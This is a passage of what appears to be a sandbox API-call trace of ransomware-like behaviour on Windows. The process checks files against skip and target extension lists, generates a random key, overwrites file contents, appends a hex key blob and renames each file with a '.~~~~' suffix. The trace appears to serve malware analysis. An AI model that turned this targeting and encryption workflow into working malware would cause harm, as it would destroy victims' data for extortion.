	[0084.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".bat") returned 0x0
	[0084.100] lstrlenW (lpString=".cpl") returned 4
	[0084.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".cpl") returned 0x0
	[0084.100] lstrlenW (lpString=".sys") returned 4
	[0084.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".sys") returned 0x0
	[0084.100] lstrlenW (lpString=".msc") returned 4
	[0084.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".msc") returned 0x0
	[0084.100] lstrlenW (lpString=".com") returned 4
	[0084.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".com") returned 0x0
	[0084.100] lstrlenW (lpString=".lnk") returned 4
	[0084.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".lnk") returned 0x0
	[0084.100] lstrlenW (lpString=".msp") returned 4
	[0084.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".msp") returned 0x0
	[0084.101] lstrlenW (lpString=".pif") returned 4
	[0084.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".pif") returned 0x0
	[0084.101] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0084.102] lstrlenW (lpString=".sqb") returned 4
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".sqb") returned 0x0
	[0084.102] lstrlenW (lpString=".ost") returned 4
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".ost") returned 0x0
	[0084.102] lstrlenW (lpString=".txt") returned 4
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".txt") returned 0x0
	[0084.102] lstrlenW (lpString=".mdt") returned 4
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".mdt") returned 0x0
	[0084.102] lstrlenW (lpString=".BDB") returned 4
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".BDB") returned 0x0
	[0084.102] lstrlenW (lpString=".eql") returned 4
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".eql") returned 0x0
	[0084.102] lstrlenW (lpString=".DBF") returned 4
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".DBF") returned 0x0
	[0084.102] lstrlenW (lpString=".EQL") returned 4
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".EQL") returned 0x0
	[0084.102] lstrlenW (lpString=".FDB") returned 4
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".FDB") returned 0x0
	[0084.102] lstrlenW (lpString=".EDB") returned 4
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".EDB") returned 0x0
	[0084.102] lstrlenW (lpString=".DACPAC") returned 7
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.102] lstrlenW (lpString=".VHD") returned 4
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".VHD") returned 0x0
	[0084.102] lstrlenW (lpString=".DBV") returned 4
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".DBV") returned 0x0
	[0084.102] lstrlenW (lpString=".dacpac") returned 7
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".dacpac") returned 0x0
	[0084.102] lstrlenW (lpString=".sdf") returned 4
	[0084.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".sdf") returned 0x0
	[0084.103] lstrlenW (lpString=".accdb") returned 6
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".accdb") returned 0x0
	[0084.103] lstrlenW (lpString=".DBX") returned 4
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".DBX") returned 0x0
	[0084.103] lstrlenW (lpString=".MDT") returned 4
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".MDT") returned 0x0
	[0084.103] lstrlenW (lpString=".SQB") returned 4
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".SQB") returned 0x0
	[0084.103] lstrlenW (lpString=".vhd") returned 4
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".vhd") returned 0x0
	[0084.103] lstrlenW (lpString=".bac") returned 4
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".bac") returned 0x0
	[0084.103] lstrlenW (lpString=".mdf") returned 4
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".mdf") returned 0x0
	[0084.103] lstrlenW (lpString=".BAK") returned 4
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".BAK") returned 0x0
	[0084.103] lstrlenW (lpString=".BAC") returned 4
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".BAC") returned 0x0
	[0084.103] lstrlenW (lpString=".dbs") returned 4
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".dbs") returned 0x0
	[0084.103] lstrlenW (lpString=".vhdx") returned 5
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".vhdx") returned 0x0
	[0084.103] lstrlenW (lpString=".NDF") returned 4
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".NDF") returned 0x0
	[0084.103] lstrlenW (lpString=".dat") returned 4
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".dat") returned 0x0
	[0084.103] lstrlenW (lpString=".DBS") returned 4
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".DBS") returned 0x0
	[0084.103] lstrlenW (lpString=".CKP") returned 4
	[0084.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".CKP") returned 0x0
	[0084.103] lstrlenW (lpString=".edb") returned 4
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".edb") returned 0x0
	[0084.104] lstrlenW (lpString=".PST") returned 4
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".PST") returned 0x0
	[0084.104] lstrlenW (lpString=".dbf") returned 4
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".dbf") returned 0x0
	[0084.104] lstrlenW (lpString=".SQL") returned 4
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".SQL") returned 0x0
	[0084.104] lstrlenW (lpString=".pst") returned 4
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".pst") returned 0x0
	[0084.104] lstrlenW (lpString=".dbv") returned 4
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".dbv") returned 0x0
	[0084.104] lstrlenW (lpString=".SDF") returned 4
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".SDF") returned 0x0
	[0084.104] lstrlenW (lpString=".dtxs") returned 5
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".dtxs") returned 0x0
	[0084.104] lstrlenW (lpString=".db3") returned 4
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".db3") returned 0x0
	[0084.104] lstrlenW (lpString=".OST") returned 4
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".OST") returned 0x0
	[0084.104] lstrlenW (lpString=".dbx") returned 4
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".dbx") returned 0x0
	[0084.104] lstrlenW (lpString=".DB3") returned 4
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".DB3") returned 0x0
	[0084.104] lstrlenW (lpString=".DAT") returned 4
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".DAT") returned 0x0
	[0084.104] lstrlenW (lpString=".VHDX") returned 5
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".VHDX") returned 0x0
	[0084.104] lstrlenW (lpString=".ndf") returned 4
	[0084.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".ndf") returned 0x0
	[0084.105] lstrlenW (lpString=".DB") returned 3
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".DB") returned 0x0
	[0084.105] lstrlenW (lpString=".sql") returned 4
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".sql") returned 0x0
	[0084.105] lstrlenW (lpString=".MYD") returned 4
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".MYD") returned 0x0
	[0084.105] lstrlenW (lpString=".DBT") returned 4
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".DBT") returned 0x0
	[0084.105] lstrlenW (lpString=".ACCDB") returned 6
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.105] lstrlenW (lpString=".fdb") returned 4
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".fdb") returned 0x0
	[0084.105] lstrlenW (lpString=".bak") returned 4
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".bak") returned 0x0
	[0084.105] lstrlenW (lpString=".myd") returned 4
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".myd") returned 0x0
	[0084.105] lstrlenW (lpString=".DTXS") returned 5
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".DTXS") returned 0x0
	[0084.105] lstrlenW (lpString=".ckp") returned 4
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".ckp") returned 0x0
	[0084.105] lstrlenW (lpString=".dbt") returned 4
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".dbt") returned 0x0
	[0084.105] lstrlenW (lpString=".db") returned 3
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".db") returned 0x0
	[0084.105] lstrlenW (lpString=".TXT") returned 4
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".TXT") returned 0x0
	[0084.105] lstrlenW (lpString=".MDF") returned 4
	[0084.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".MDF") returned 0x0
	[0084.106] lstrlenW (lpString=".bdb") returned 4
	[0084.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".bdb") returned 0x0
	[0084.106] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0084.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.106] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.107] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.107] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0084.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.107] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20409701140) returned 1
	[0084.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9bf5eed0, dwHighDateTime=0x1d60e1e)) 
	[0084.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0084.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0084.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0084.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2560
	[0084.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2560 | out: hHeap=0x300000) returned 1
	[0084.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807e98
	[0084.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807e98 | out: hHeap=0x300000) returned 1
	[0084.107] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.108] GetLastError () returned 0x0
	[0084.108] GetLastError () returned 0x0
	[0084.108] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.108] GetLastError () returned 0x0
	[0084.108] GetLastError () returned 0x0
	[0084.111] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff4f32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.111] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xb0ce, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0xb0ce, lpOverlapped=0x0) returned 1
	[0084.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.112] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.112] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.112] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.112] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.112] CloseHandle (hObject=0x118) returned 1
	[0084.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807e98
	[0084.112] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.~~~~")) returned 1
	[0084.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807e98 | out: hHeap=0x300000) returned 1
	[0084.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0084.113] GetLastError () returned 0x0
	[0084.113] RtlWakeConditionVariable () returned 0x365f70
	[0084.113] GetCurrentThreadId () returned 0xaf0
	[0084.113] GetCurrentThreadId () returned 0xaf0
	[0084.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807ca0
	[0084.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807fe8 | out: hHeap=0x300000) returned 1
	[0084.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2598 | out: hHeap=0x300000) returned 1
	[0084.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807fe8
	[0084.113] lstrlenW (lpString=".scr") returned 4
	[0084.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".scr") returned 0x0
	[0084.114] lstrlenW (lpString=".cmd") returned 4
	[0084.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".cmd") returned 0x0
	[0084.114] lstrlenW (lpString=".dll") returned 4
	[0084.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".dll") returned 0x0
	[0084.114] lstrlenW (lpString=".bat") returned 4
	[0084.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".bat") returned 0x0
	[0084.114] lstrlenW (lpString=".cpl") returned 4
	[0084.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".cpl") returned 0x0
	[0084.114] lstrlenW (lpString=".sys") returned 4
	[0084.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".sys") returned 0x0
	[0084.114] lstrlenW (lpString=".msc") returned 4
	[0084.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".msc") returned 0x0
	[0084.114] lstrlenW (lpString=".com") returned 4
	[0084.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".com") returned 0x0
	[0084.114] lstrlenW (lpString=".lnk") returned 4
	[0084.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".lnk") returned 0x0
	[0084.114] lstrlenW (lpString=".msp") returned 4
	[0084.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".msp") returned 0x0
	[0084.114] lstrlenW (lpString=".pif") returned 4
	[0084.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".pif") returned 0x0
	[0084.114] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0084.115] lstrlenW (lpString=".sqb") returned 4
	[0084.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".sqb") returned 0x0
	[0084.115] lstrlenW (lpString=".ost") returned 4
	[0084.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".ost") returned 0x0
	[0084.115] lstrlenW (lpString=".txt") returned 4
	[0084.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".txt") returned 0x0
	[0084.115] lstrlenW (lpString=".mdt") returned 4
	[0084.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".mdt") returned 0x0
	[0084.115] lstrlenW (lpString=".BDB") returned 4
	[0084.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".BDB") returned 0x0
	[0084.115] lstrlenW (lpString=".eql") returned 4
	[0084.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".eql") returned 0x0
	[0084.115] lstrlenW (lpString=".DBF") returned 4
	[0084.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".DBF") returned 0x0
	[0084.115] lstrlenW (lpString=".EQL") returned 4
	[0084.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".EQL") returned 0x0
	[0084.115] lstrlenW (lpString=".FDB") returned 4
	[0084.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".FDB") returned 0x0
	[0084.115] lstrlenW (lpString=".EDB") returned 4
